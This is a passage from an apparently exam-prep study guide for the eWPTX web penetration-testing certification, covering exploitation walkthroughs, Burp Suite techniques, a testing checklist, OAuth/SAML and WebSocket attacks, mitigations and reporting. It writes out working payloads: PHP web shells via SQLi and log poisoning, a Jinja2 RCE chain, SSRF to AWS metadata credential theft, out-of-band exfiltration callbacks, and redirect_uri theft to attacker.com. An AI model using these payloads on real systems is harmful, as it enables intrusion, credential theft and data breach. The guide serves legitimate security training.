5. Dump creds: ' UNION SELECT group_concat(username,0x3a,password),NULL,NULL FROM users-- -
6. Crack the admin hash (hashcat/rockyou) → log into /admin.
7. RCE: DB user has FILE priv → ' UNION SELECT "<?php system($_GET['c']);?>",NULL,NULL
INTO OUTFILE '/var/www/html/s.php'-- - → browse /s.php?c=id → reverse shell.
8. IMPACT: data breach + RCE (Critical). (SQLMap could automate steps 3–7; verify manually.)
Walkthrough C — SSRF chained to cloud compromise.
1. A "URL preview" feature fetches a user-supplied URL. Point it at http://169.254.169.254/latest/meta-data/
→ the response returns metadata (SSRF to AWS IMDS confirmed).
2. Request .../iam/security-credentials/ → the role name; then .../security-credentials/<role>
→ temporary AccessKey/SecretKey/Token.
3. Configure the AWS CLI with the stolen creds → list/read S3 buckets, enumerate the account.
4. IMPACT: cloud account access via SSRF → metadata credential theft (Critical). Remediation:
block link-local/metadata ranges, enforce IMDSv2, allow-list outbound destinations.
Walkthrough D — LFI to RCE via log poisoning (with WAF bypass).
1. /index.php?page=about → test ?page=../../../../etc/passwd → root:x:0:0 (LFI confirmed).
2. A WAF blocks "../" → bypass with ....// and URL-encoding: ?page=....//....//....//etc/passwd → works.
3. Read source: ?page=php://filter/convert.base64-encode/resource=index.php → decode → understand the app.
4. Log poisoning: send a request with User-Agent: <?php system($_GET['c']); ?>
then ?page=/var/log/apache2/access.log&c=id → command output in the page (RCE).
5. Reverse shell → stabilize → enumerate → read config.php for DB creds → pivot.
6. IMPACT: LFI → RCE (Critical), plus a documented WAF bypass. Remediation: allow-list pages,
disable dangerous wrappers, fix the include logic.
Walkthrough E — SSTI to RCE in a "customize email" feature.
1. A profile page lets you set a "display name" shown in notification emails. Inject {{7*7}} in the name.
2. A test email (or preview) renders "49" → SSTI confirmed. Payload {{7*'7'}} → 7777777 → Jinja2.
3. Escalate: {{self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}} in the name.
4. The preview returns uid=... (RCE). Swap in a reverse-shell command → shell on the app server.
5. IMPACT: SSTI → RCE (Critical). Remediation: render user data as sandboxed variables, not template code.
Walkthrough F — API BOLA + mass assignment to account takeover.
1. Observe the mobile/SPA traffic in Burp → API at /api/v1. GET /api/v1/users/1001 returns YOUR profile.
2. BOLA: GET /api/v1/users/1002 → another user's full profile (email, phone, token) — no ownership check.
3. Mass assignment: PATCH /api/v1/users/1001 {"email":"me@x","role":"admin"} → the API accepts "role".
4. Re-fetch your profile → role:admin. Now admin endpoints (GET /api/v1/admin/*) work.
5. Alternatively, use BOLA to change ANY user's email → trigger password reset → full ATO.
6. IMPACT: BOLA + mass assignment → privilege escalation / mass account takeover (Critical).
Remediation: server-side object & function authorization; allow-list writable fields.
The common thread: each scenario is recon → find a vuln → confirm → exploit → chain to critical impact → document. That's the eWPTX engagement shape in miniature. Practice running these end-to-end (on labs) under time pressure so the flow is automatic on exam day.
39. Advanced Testing Techniques & Burp Suite Mastery
The eWPTX rewards efficient, deep testing. Mastering Burp Suite's advanced features and a few power techniques is what lets you test thoroughly within the time limit.
Burp Intruder — the four attack types (know when to use each):
Sniper one payload set, one position at a time → fuzzing a single parameter (find injection points)
Battering ram same payload in all positions at once → same value everywhere
Pitchfork parallel payload sets (set1↔pos1, set2↔pos2)→ paired data (user+matching token)
Cluster bomb every combination of multiple sets → username × password brute force
Use Intruder for: parameter fuzzing (inject your payload list, sort responses by status/length/time to spot anomalies), username/password brute force, IDOR/BOLA enumeration (iterate IDs), and blind-injection character extraction. Grep-Match/Grep-Extract to flag or pull values from responses; sort by response length to find the odd one out (the classic way to detect boolean conditions and valid values).
Turbo Intruder (extension) — high-speed, scriptable attacks for race conditions (single-packet attack), large brute forces, and custom logic Intruder can't express.
Burp Collaborator / interactsh — out-of-band (OAST) detection. Essential for blind vulnerabilities (SSRF, XXE, blind SQLi, blind command/SSTI injection, blind XSS). Insert your Collaborator subdomain as the callback; if the target's server (or a victim's browser) hits it, the vuln is confirmed even with no visible response. This is how you find the vulns that produce no on-screen output — a core eXtreme skill.
Other high-value Burp workflows:
- Repeater — the heart of manual testing: tweak a request, resend, observe. Keep multiple Repeater tabs for different payloads/endpoints; use "Send to Repeater" liberally.
- Comparer — diff two responses byte-by-byte (perfect for boolean-blind SQLi, auth enumeration, and subtle behavior changes).
- Decoder / Hackvertor — encode/decode/transform payloads (URL, Base64, hex, HTML) and build layered encodings for WAF bypass (§28).
- Param Miner — brute-force hidden parameters and unkeyed headers (finds the debug=1, admin=true, or cache-poisoning header others miss).
- Autorize — automatic authorization testing: replay your requests with a low-priv/no-session token to auto-detect BOLA/BFLA/IDOR across the whole app.
- JWT Editor / InQL / DOM Invader — specialized extensions for JWTs, GraphQL, and DOM XSS respectively.
- Match & Replace / Session handling rules / Macros — automate re-authentication, CSRF-token refresh, and header injection so long test runs don't break on expired sessions.
Manual power techniques:
- Fuzz everything — not just visible parameters: headers (X-Forwarded-For, Referer, User-Agent, Host), cookies, JSON/XML fields, and hidden/unlinked parameters.
- Observe the signal — status code, response length, response time, error messages, and reflections are your indicators; a single differing byte can reveal a vuln.
- Second-order thinking — input that's stored now may be used (unsafely) elsewhere later (§40).
- Automate the boring, think about the hard — let Intruder/SQLMap/Autorize handle enumeration while you reason about logic flaws and chains.
Efficiency separates pass from fail: a methodical Burp workflow lets you cover the whole app, catch the subtle and blind vulns, and still have time to chain and document.
40. Second-Order & Advanced Injection Techniques
Beyond the "inject here, see result here" basics, the eWPTX tests the advanced forms of injection — second-order, out-of-band, and context-specific — that evade simple testing and simple defenses.
Second-order (stored) injection. The payload is stored at one point and executed later at a different point, when the app uses the stored value unsafely. Because the result doesn't appear at the injection point, naive testing misses it entirely.
Second-order SQLi: register a username admin'-- - → stored safely → but a later "update profile"
query concatenates the stored username unsafely → the injection fires then.
Second-order XSS: store a payload in your profile name → it executes when an ADMIN views the user
list (stored XSS on a different page/role than where you injected).
Testing approach: after injecting a stored value, browse the whole app (and consider other roles/pages) to find where that value is later reflected or used in a query/command. Map where each input is stored and everywhere it's later rendered or processed.
Out-of-band (OOB) injection. When there's no in-band output and no boolean/time signal, force the server to contact a system you control (DNS/HTTP via Collaborator) to both confirm the vuln and exfiltrate data:
OOB SQLi (Oracle): ...SELECT UTL_HTTP.REQUEST('http://'||(SELECT user FROM dual)||'.<collab>/')...
OOB command inj: & nslookup `whoami`.<collab> &
OOB XXE: external DTD exfiltrates file contents to <collab> (§22)
OOB SSRF: the fetch itself hits <collab> (§21)
OOB is the key to the truly blind cases — master the Collaborator workflow (§39).
Context-specific injection nuances:
- JSON/XML body injection — the same SQLi/NoSQLi/XXE but in a structured body; switching Content-Type can reach different parsers (and bypass filters — the SQLi-via-XML-encoding trick).
- Header injection — payloads in Host, X-Forwarded-For, User-Agent, Referer, or Cookie reaching queries, logs (log-poisoning → RCE), or caches.
- Stacked queries — where supported (MSSQL/PostgreSQL), ; <second statement> executes an extra query (INSERT/UPDATE/xp_cmdshell).
- Boolean/inference extraction — when you can only tell true from false, extract data bit-by-bit with SUBSTRING/ASCII comparisons (automate with Intruder/Turbo Intruder or a script).
Filter-aware payload crafting. Advanced injection is iterative: send a probe → observe what's blocked/encoded/mangled → adapt (encode, obfuscate, change context/content-type, use alternative syntax) → repeat until the payload both passes the filter and is interpreted by the backend. This is the eXtreme loop — the vuln is there; your job is to find the representation that works. Mindset: absence of an obvious result is not absence of the vulnerability — reach for boolean, time, OOB, and second-order techniques before concluding something is safe.
41. The Web App Testing Checklist (WSTG-Aligned)
A methodical checklist ensures you test everything — the enemy of a good pentest is a missed input. Work this against every target (based on the OWASP Web Security Testing Guide). Tick each item for each relevant part of the app.
Information gathering & configuration:
[ ] Fingerprint server, framework, language, CMS (§8)
[ ] Enumerate subdomains & virtual hosts (§7)
[ ] Content/directory discovery; find admin panels, backups, .git/.env, APIs, docs (§9)
[ ] Discover hidden parameters & unkeyed headers (Param Miner) (§9,§39)
[ ] Review robots.txt, sitemap, HTML/JS comments & source for secrets/endpoints
[ ] Detect WAF; map what it blocks (§8,§28)
[ ] Enumerate HTTP methods (OPTIONS); test dangerous verbs (§10)
Authentication, session & authorization:
[ ] Test login: brute force, username enumeration, default/weak creds, logic flaws (§11)
[ ] Password reset & account-recovery flaws; MFA bypass (§11)
[ ] Session: predictability (Sequencer), fixation, cookie flags, cookie tampering (§12)
[ ] JWT: alg:none, weak secret, algorithm confusion, kid/jku injection (§13)
[ ] CSRF on every state-changing action; token validation (§14)
[ ] Access control: IDOR/BOLA (swap IDs), BFLA (admin functions), forced browsing (§20)
[ ] Privilege escalation via parameter/role/mass-assignment tampering
Input validation / injection (test EVERY input — params, headers, cookies, JSON/XML, uploads):
[ ] SQL injection — in-band, blind (boolean/time), UNION, error, OOB; NoSQLi (§17-19)
[ ] Cross-site scripting — reflected, stored, DOM; in every reflection context (§16)
[ ] OS command injection — visible, blind (time/OOB), with filter bypass (§15)
[ ] SSTI — {{7*7}} probe → engine-specific RCE (§29)
[ ] XXE — in-band, OOB, via uploads (§22)
[ ] File upload — bypass filters → web shell → RCE (§24)
[ ] Path traversal & LFI/RFI — read files → log-poison/wrappers → RCE (§25,§26)
[ ] Second-order injection — check where stored values are later used (§40)
Server-side & business logic:
[ ] SSRF — internal/cloud metadata/blind/filter-bypass (§21)
[ ] Insecure deserialization — property tampering & gadget-chain RCE (§23)
[ ] Prototype pollution (JS apps) (§33)
[ ] HTTP request smuggling (CL.TE/TE.CL) (§30)
[ ] CORS misconfig, open redirect, clickjacking (§31)
[ ] Web cache poisoning/deception (§32)
[ ] Business logic — price/qty/workflow/race/replay abuse (§34)
[ ] API & GraphQL — authorization, injection, batching, introspection (§20,§35)
Cross-cutting:
[ ] Error handling & information disclosure (stack traces, versions, debug)
[ ] Security headers (CSP, HSTS, X-Frame-Options, cookie flags)
[ ] WAF/filter bypass applied wherever payloads are blocked (§28)
[ ] Chain findings into maximum impact (§37)
[ ] Document each finding with PoC + impact + remediation as you go (§42)
How to use it: build your input/vuln matrix (§4), then walk this checklist per input and per area — nothing untested. The combination of exhaustive coverage (this checklist) + deep exploitation (the technique chapters) + chaining (§37) + clear reporting (§42) is exactly the eWPTX skill set.
42. OAuth, SAML & SSO Attacks
Modern apps delegate authentication to OAuth 2.0 / OpenID Connect and SAML single sign-on. These flows are complex and frequently misimplemented — a rich, advanced attack surface the eWPTX expects you to probe.
OAuth 2.0 attacks:
- redirect_uri manipulation (the classic). The authorization server sends the token/code to redirect_uri. If it isn't strictly validated, point it at your domain to steal the code/token:https://auth.site/authorize?client_id=X&redirect_uri=https://attacker.com&response_type=code # weak-validation bypasses: redirect_uri=https://app.com.attacker.com, # https://[email protected], https://app.com/../attacker, open-redirect on the real redirect_uri
Steal the code, exchange it, and log in as the victim → account takeover.
- Missing/weak state parameter → OAuth CSRF. No state (or not validated) lets an attacker bind their OAuth login to the victim's session (or vice-versa) — forcing account linking/takeover.
- code/token leakage — via Referer header, open redirect, or browser history; reusing an authorization code (should be one-time).
- Implicit-flow token in URL — exposed in history/logs/Referer.
- Flawed account linking / unverified email — register with the victim's email on the app, then "link" via OAuth to merge accounts; or an identity provider that doesn't verify email ownership.
- Scope / consent abuse — request excessive scopes; consent-phishing a user into authorizing a malicious client.
SAML attacks (XML-based SSO — assertions signed by the IdP):
- Signature stripping / exclusion — remove the signature; if the SP accepts unsigned assertions → forge any identity.
- XML Signature Wrapping (XSW) — restructure the XML so the SP validates a legitimate signature but reads an attacker-injected assertion (change the user to admin).
- Comment injection — insert XML comments in the NameID (admin<!---->@x.com) to confuse parsing and log in as another user.
- XXE in the SAML XML (§22) — the assertion is XML; test for external entities.
- Golden SAML (if you obtain the IdP signing key) — forge arbitrary assertions. Reuse / no expiry — replay old assertions.
Tool: SAML Raider (Burp) automates signature stripping/wrapping and certificate attacks.
Testing workflow: map the SSO flow in Burp (every redirect, parameter, token, assertion) → test redirect_uri/state (OAuth) and signature/wrapping/comments (SAML) → attempt token/code theft and identity forgery → check account-linking and email-verification logic. Remediation: strict redirect_uri allow-listing, mandatory validated state, one-time codes, verified email binding, and for SAML: always require & properly validate signatures, mitigate XSW, disable external entities. Impact: authentication bypass / account takeover — High/Critical.
43. WebSockets & Advanced Client-Side Attacks
Beyond classic request/response, modern apps use WebSockets and rich client-side messaging (postMessage) — each with its own attack surface the eWPTX may probe.
WebSocket attacks. WebSockets (ws:///wss://) provide a persistent, bidirectional channel (chat, live feeds, trading). Intercept them in Burp (Proxy → WebSockets history) and manipulate messages:
- Injection via WebSocket messages — the same XSS/SQLi/command-injection, but in WS message content. E.g., a chat message {"msg":"<img src=x onerror=alert(document.cookie)>"} → stored XSS when another user/admin views the chat.
- Missing authorization on WS actions — can you send privileged messages (admin commands) over the socket without the server re-checking your role?
- Cross-Site WebSocket Hijacking (CSWSH) — if the WebSocket handshake relies only on cookies and doesn't validate Origin/use anti-CSRF, an attacker's page can open a WebSocket as the victim and read their data:
```html
`` *(The victim's cookies are sent on the handshake → the socket is authenticated → exfiltrate their messages.)* - **Message tampering** — modify prices/IDs/actions in WS messages (business-logic abuse over the socket). *Fix:* validateOrigin` on the handshake, use CSRF tokens, authenticate & authorize every message server-side, and sanitize message content.
postMessage / DOM messaging attacks. SPAs and embedded widgets use window.postMessage for cross-window communication. Flaws:
- Missing origin check on the receiver — a message handler that processes data without verifying event.origin lets an attacker's page/iframe send malicious messages → DOM XSS or logic abuse:javascript // vulnerable receiver: window.addEventListener('message', e => { document.getElementById('x').innerHTML = e.data; }); // attacker (from a framed/opener context): target.postMessage("<img src=x onerror=alert(document.cookie)>", "*");
- Overly-broad target origin ("*") on the sender can leak data to any listener.
Test: review addEventListener('message', ...) handlers for origin validation and dangerous sinks (DOM Invader helps). Fix: always validate event.origin against an allow-list and never feed message data to dangerous sinks.
Other advanced client-side issues: DOM clobbering (HTML injection that overrides JS variables via element id/name), client-side prototype pollution → DOM XSS (§33), and insecure client-side storage (tokens/secrets in localStorage readable by XSS). The theme: in JS-heavy apps, the client is attack surface — inspect the JavaScript, trace sources→sinks, and test every cross-context channel.
44. Secure-Coding & Mitigation Reference
For the report (and to understand each vulnerability deeply), know the correct fix for each class. Good remediation advice is what makes a pentest actionable — and the eWPTX grades the quality of your recommendations.
Mitigation quick reference (per vulnerability class):
SQL Injection Parameterized queries / prepared statements (the real fix); input validation;
least-privilege DB account; ORM used safely; WAF as defense-in-depth only.
NoSQL Injection Type-cast & validate input; reject query operators ($ne/$where); strict schemas.
Command Injection Don't call the shell with user input; use language APIs / argument arrays;
strict allow-list validation; never pass input to system()/exec().
XSS Context-aware output encoding; input validation; strong CSP; HttpOnly cookies;
framework auto-escaping; avoid dangerous sinks (innerHTML/eval).
SSTI Never put user input into template code; sandbox the engine; logic-less templates.
SSRF Allow-list outbound destinations; block internal/link-local/metadata ranges;
disable unused URL schemes; validate+re-resolve hostnames; IMDSv2 in AWS.
XXE Disable external entities & DOCTYPE processing in the XML parser; prefer JSON.
Deserialization Don't deserialize untrusted data; use JSON + schema; sign/encrypt + integrity checks;
class allow-lists; keep libraries patched.
File Upload Validate by content; allow-list extensions; store outside webroot / non-exec;
randomize names; scan; never trust Content-Type.
Path Traversal/LFI Avoid user input in paths; canonicalize + allow-list; jail to a base dir;
disable allow_url_include; use indirect (ID→path) references.
Auth Strong password policy + MFA; generic errors (no user enum); rate limit + lockout;
secure randomized tokens; never trust client-side auth.
Session Strong random tokens; regenerate on login; HttpOnly+Secure+SameSite; short expiry;
server-side session binding; no trust data in client cookies.
JWT Pin the algorithm; strong secret / asymmetric keys; reject 'none'; verify signature
always; validate kid/jku against an allow-list; enforce exp.
CSRF Per-session anti-CSRF tokens validated server-side; SameSite cookies; re-auth for
sensitive actions.
Access Control/IDOR Enforce object- & function-level authorization server-side on EVERY request;
deny by default; don't trust client-supplied IDs/roles.
Business Logic Enforce all rules server-side; validate state transitions; atomic ops (no races);
re-check auth at each step; never trust client price/identity/limits.
CORS Strict origin allow-list; never reflect arbitrary origins with credentials; no 'null'.
Request Smuggling Front-end/back-end parse consistently; reject ambiguous CL+TE; prefer HTTP/2 e2e.
Cache Poisoning Keep unkeyed inputs out of cached responses; include relevant inputs in the cache key.
Prototype Pollution Block __proto__/constructor/prototype keys; Object.create(null)/Map; patch merge libs.
Open Redirect Allow-list redirect targets; use relative/indirect redirects.
Clickjacking X-Frame-Options / CSP frame-ancestors; confirmation for sensitive actions.
Cross-cutting secure-development principles:
- Never trust user input — validate (allow-list), and use the right safe API for each sink (parameterize for SQL, encode for HTML, argument-arrays for commands).
- Defense in depth — layered controls (input validation + safe APIs + least privilege + CSP + WAF) so one failure isn't catastrophic.
- Least privilege — minimal DB/file/service permissions limit the blast radius of any single flaw.
- Secure by default & fail closed — deny access/actions unless explicitly allowed; don't leak internals on error.
- Keep dependencies patched — most "framework" RCEs are old CVEs in outdated components.
- Security headers — CSP, HSTS, X-Frame-Options, X-Content-Type-Options, and correct cookie flags.
- Server-side enforcement — the client can always be manipulated; every security decision (auth, authorization, validation, pricing, limits) must be enforced on the server.
In your report, pair each finding with the specific fix from above (not "sanitize input") — that specificity is what turns your pentest into something developers can actually act on, and it's a mark of eXtreme-level professionalism.
45. Reporting & Remediation
The eWPTX is report-based — you must produce a professional penetration-test report. A brilliant exploitation chain that's documented poorly fails the exam. Reporting is a graded, core skill, not an afterthought.
Report structure:
1. Executive Summary — business-level overview: overall risk posture, key findings, impact,
in plain language for non-technical stakeholders.
2. Scope & Methodology — what was tested (URLs/apps/APIs), timeframe, approach, tools, standards (OWASP WSTG).
3. Findings — one entry PER vulnerability (or chain), each with:
• Title — clear & specific ("Stored XSS in feedback form → admin account takeover")
• Severity/Risk — Critical/High/Medium/Low/Info (CVSS + justification: impact × likelihood)
• Affected asset — exact URL/endpoint/parameter
• Description — what the vulnerability is and WHY it exists
• Proof of Concept — the exact request(s)/payload(s) + response/screenshots (reproducible)
• Steps to Reproduce — precise, repeatable steps
• Impact — concrete business consequence (data breach, ATO, RCE, financial)
• Remediation — specific, actionable developer fix
• References — OWASP/CWE/CVE where relevant
4. Attack Narrative — the story of how findings chain into high-impact outcomes (the eXtreme value-add)
5. Remediation Summary — prioritized list of fixes
6. Appendices — full payloads, tool output, additional evidence
Reporting principles:
- Evidence for everything — every finding needs a reproducible PoC (request/response, payload, screenshot). "I found SQLi" is worthless without the proof.
- Impact, not just presence — don't write "XSS present"; write "Stored XSS allows theft of admin sessions, leading to full account takeover and control of all user data." Tie it to business risk.
- Accurate severity — base it on real impact and likelihood (use CVSS and justify). Don't inflate or downplay.
- Actionable remediation — give the specific fix (parameterized queries, output encoding + CSP, disable XML external entities, allow-list file includes), not "sanitize input."
- Reproducibility — enough detail (exact URL, parameter, payload, steps) that a developer can reproduce and verify.
- Audience — executive summary for leadership (risk, plain language); technical detail for engineers.
- Tell the chain — the attack narrative showing how medium findings combine into critical impact is what distinguishes an eXtreme-level report.
Standard severity guide:
CRITICAL RCE, SQLi with data breach, authentication bypass to admin, SSRF→cloud takeover, full ATO chains
HIGH stored XSS (admin-facing), significant data exposure, IDOR/BOLA at scale, XXE file read, LFI
MEDIUM reflected XSS, CSRF on sensitive actions, info disclosure, weak session handling
LOW missing security headers, verbose errors, minor misconfig
INFO best-practice observations, defense-in-depth suggestions
Document as you test (capture requests/payloads/screenshots in the moment) — you can't reproduce an exam target after time runs out. The report is where your technical work becomes value.
46. Exam-Day Tips & Study Plan
Exam approach:
- Follow the methodology (§4): recon → map → test every input against every vuln class → exploit → chain → document. Systematic coverage beats random payloads.
- Set up Burp manually before you start (proxy + CA) since extensions may be blocked — practice this so it's second nature.
- Be exhaustive in enumeration — the finding you need is often in a hidden endpoint, subdomain, parameter, or API. Content discovery and parameter mining pay off.
- Think in chains — don't stop at a single vuln; escalate to critical impact (§29). The exam rewards depth of exploitation and real impact.
- Bypass defenses — expect WAFs/filters; have your encoding/obfuscation toolkit ready (§28).
- Verify every finding — a reliable PoC (reflected value, OOB callback, extracted data, command output) before you report it.
- Document continuously — screenshot requests/responses and record payloads as you go; the report is graded and you can't re-exploit later.
- Manage time — balance discovery, exploitation, and report writing; don't rabbit-hole on one target while others go untested.
Study plan (~4–6 weeks):
Week 1 Fundamentals & methodology: web architecture, HTTP/HTTPS, OWASP, Burp mastery (§1-5).
Week 1-2 Recon & mapping: DNS/subdomains, WAF detection, fingerprinting, content/parameter discovery (§6-9).
Week 2 Auth/session/JWT/CSRF: all the authentication-attack chapters (§10-14). Practice on labs.
Week 3 Injection: command injection, XSS (all types), SQLi (all types), NoSQL, SQLMap (§15-19).
Week 3-4 APIs & server-side: API testing/BOLA/BFLA, SSRF, XXE, deserialization, file upload, traversal, LFI/RFI (§20-26).
Week 4 CMS pentesting + WAF/filter bypass (§27-28) — the "eXtreme" bypass skills.
Week 5 Chaining & worked scenarios (§29-30) — run full end-to-end exploits on labs.
Week 5-6 Reporting practice (§31) — write up findings professionally; mock exam under time pressure.
Best practice targets: PortSwigger Web Security Academy (free, maps directly to every eWPTX topic — do the labs for each vuln class, including the "Expert" ones), plus DVWA/bWAPP/Juice Shop/WebGoat for broad practice, and INE's own course labs. Resources: OWASP WSTG (methodology), OWASP Cheat Sheets + PayloadsAllTheThings (payloads), and PortSwigger's topic write-ups (deep technique explanations).
Common mistakes to avoid: shallow enumeration (missing the vuln entirely); stopping at low-impact PoCs instead of chaining; not bypassing WAFs/filters; testing only the obvious parameters; weak/incomplete documentation; poor time management; and — never — testing out of scope.
47. Glossary & Quick Reference
Methodology & fundamentals: web app architecture (client/server/data tiers) · HTTP methods/status codes/headers · OWASP Top 10 · OWASP WSTG · attack surface · input validation · parameterization/output encoding.
Recon: passive vs active · OSINT · Google dorks · DNS recon · zone transfer (AXFR) · subdomain enumeration · certificate transparency (crt.sh) · virtual hosts · WAF detection (wafw00f) · fingerprinting (whatweb/nikto) · content discovery (gobuster/ffuf/feroxbuster) · parameter mining (Param Miner).
Tools: Burp Suite (Proxy/Repeater/Intruder/Decoder/Comparer/Collaborator/Sequencer) · OWASP ZAP · SQLMap · XSSer · WPScan · Hydra · jwt_tool · curl.
Auth/session: HTTP Basic/Digest · form login brute force (Hydra) · username enumeration · session hijacking / fixation / cookie tampering · cookie flags (HttpOnly/Secure/SameSite) · JWT attacks (alg:none, weak-secret crack, algorithm confusion, kid/jku injection) · CSRF (token bypasses, SameSite).
Injection: OS command injection (separators, blind, OOB, reverse shell) · XSS (reflected/stored/DOM, cookie theft, CSRF-via-XSS) · SQLi (in-band/UNION/error/boolean-blind/time-blind/OOB, auth bypass, RCE) · NoSQLi ($ne/$gt/$regex/$where) · SQLMap (--dbs/--dump/--os-shell/--tamper).
API: REST · GraphQL (introspection) · BOLA/IDOR · BFLA · mass assignment · excessive data exposure · Autorize.
Server-side: SSRF (internal/cloud-metadata/blind/filter-bypass/gopher) · XXE (in-band/OOB/XInclude/SVG upload) · insecure deserialization (property tampering, gadget chains: phpggc/ysoserial) · file upload (extension/MIME/magic-byte/.htaccess bypass → web shell) · directory traversal (../, encodings) · LFI/RFI (php wrappers, log poisoning → RCE) · CMS (WordPress/Drupal/Magento enumeration & exploits).
Filter evasion / WAF bypass: URL/double-URL/HTML-entity/Unicode/hex/octal/Base64 encoding · case variation · inline comments · whitespace alternatives ($IFS, //) · content-type switching · HTTP parameter pollution · SQLMap tamper scripts · target-the-parser-not-the-filter.
Chaining & impact: vulnerability chaining · XSS→ATO · SSRF→cloud takeover/RCE · LFI→log-poison→RCE · upload→web-shell→RCE · SQLi→creds→admin→RCE · CSRF→ATO · severity (Critical/High/Medium/Low) · CVSS · PoC · remediation · attack narrative.
Out-of-band (OAST):** Burp Collaborator / interactsh — confirm blind SSRF/XXE/SQLi/command-injection via DNS/HTTP callbacks.
End of guide. The eWPTX is about advanced, real-world web application penetration testing: recon the full attack surface, methodically test every input against every vulnerability class, exploit the complex cases (blind, out-of-band, second-order), bypass WAFs and input filters with encoding and obfuscation, and — above all — chain medium findings into critical impact (account takeover, RCE, cloud compromise, data breach). Then prove and communicate it all in a professional report. Master the methodology, build deep hands-on reps on PortSwigger's Web Security Academy and other authorized labs, keep your payload and bypass toolkit sharp, and always think one hop further: "what does this let me reach next?" That is the eXtreme mindset — and that is what this certification rewards.